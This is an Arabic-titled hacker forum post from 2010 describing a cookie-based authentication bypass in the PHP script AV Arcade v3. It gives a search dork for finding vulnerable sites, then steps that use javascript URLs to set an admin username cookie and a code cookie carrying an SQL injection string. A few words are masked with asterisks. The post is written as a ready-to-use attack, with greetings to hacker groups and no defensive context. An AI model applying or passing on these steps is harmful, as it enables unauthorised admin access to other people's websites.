ثغرة كوكيز بتاريخ اليوم 28/07/2010 (AV Arcade v3 ****** Authentication Bypass)

[alaacol]

[align=left]:----------------------------------------------------------------------------:
: # Software : AV Arcade v3 [PHP] :
: # Site : www.avscripts.net :
: # Date : 28/07/2010 :
: # Author : saudi0hacker :
: # Type : Auth Bypass / ****** :
: # Greetz to : pr.al7rbi : so busy : evil-ksa : Dr.dakota : v4-team.com :
:----------------------------------------------------------------------------:

DORK : inurl:index.php?task=login

[1] Go to the URL:
http://www.xxxxx.net/index.php?task=login

[2] Apply these ******:

Javascript:********.****** = "ava_username=admin;"

Javascript:********.****** = "ava_code=c4ca4238a0b923820dcc509a6f75849b 'or' 1=1;"

[3] Go to main Page:


[/align]